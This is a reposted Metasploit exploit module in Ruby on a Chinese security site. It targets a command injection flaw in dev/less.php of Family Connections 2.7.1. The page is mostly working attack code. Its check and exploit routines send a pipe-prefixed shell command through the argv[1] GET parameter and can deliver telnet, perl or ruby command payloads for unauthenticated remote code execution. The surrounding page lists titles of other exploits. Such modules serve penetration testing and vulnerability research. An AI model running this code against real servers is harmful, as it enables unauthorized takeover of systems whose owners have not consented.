首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Family Connections less.php Remote Command Execution
来源:http://www.metasploit.com 作者:mr_me 发布时间:2011-12-08  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'Family Connections less.php Remote Command Execution',
   'Description'    => %q{
    This module exploits an arbitrary command execution vulnerability in
    Family Connections 2.7.1. It's in the dev/less.php script and is due
    to an insecure use of system().  Authentication isn't required to exploit
    the vulnerability but register_globals must be set to On.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>', # Vulnerability discovery and exploit
     'juan vazquez'  # Metasploit module
    ],
   'References'     =>
    [
     [ 'URL', 'https://www.familycms.com/blog/2011/11/security-vulnerability-fcms-2-5-2-7-1/' ],
     [ 'URL', 'http://sourceforge.net/apps/trac/fam-connections/ticket/407' ],
     [ 'URL', 'http://rwx.biz.nf/advisories/fc_cms_rce_adv.html' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/18198/' ]
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Compat'     =>
     {
      'PayloadType'  => 'cmd',
      'RequiredCmd'  => 'generic telnet perl ruby',
     }
    },
   'Platform'       => ['unix', 'linux'],
   'Arch'           => ARCH_CMD,
   'Targets'        => [['Automatic',{}]],
   'DisclosureDate' => 'Nov 29 2011',
   'DefaultTarget'  => 0
  ))

  register_options(
   [
    OptString.new('URI', [true, "The path to the Family Connections main site", "/fcms/"]),
   ],self.class)
 end

 def check
  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

  mark = Rex::Text.rand_text_alpha(rand(5) + 5)

  res = send_request_cgi({
   'uri'       => uri,
   'vars_get'  => { 'argv[1]' => "|echo #{mark};#" }
  }, 25)

  if res and res.code == 200 and res.body =~ /#{mark}/
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? "dev/less.php" : "/dev/less.php"

  start_mark = Rex::Text.rand_text_alpha(rand(5) + 5)
  end_mark  = Rex::Text.rand_text_alpha(rand(5) + 5)
  custom_payload = "|echo #{start_mark};#{payload.encoded};echo #{end_mark};#"

  res = send_request_cgi({
   'uri'       => uri,
   'vars_get'  => { 'argv[1]' => custom_payload }
  }, 25)

  if res and res.code == 200 and res.body =~ /#{start_mark}/
   # Prints output when using cmd/unix/generic
   result = res.body.split(/#{start_mark}/)[1].split(/#{end_mark}/)[0]
   if not result.strip.empty?
    print_status("Result of the command:\n#{result}")
   end
  end
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ability Server 2.34 STOR Comma
·Traq <= 2.3 Authentication Byp
·SopCast 3.4.7 (Diagnose.exe) I
·SMF <= 2.0.1 SQL Injection, Pr
·SopCast 3.4.7 sop:// URI Handl
·ShareCenter D-Link DNS-320 Rem
·HP Application Lifestyle Manag
·ms11-046 webshell 下exp 自己加
·JavaScript Switcharoo Proof Of
·Apache Range Header Denial Of
·DedeCMS 5.7圈子XSS跨站可拿WebS
·Family Connections CMS v2.5.0-
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved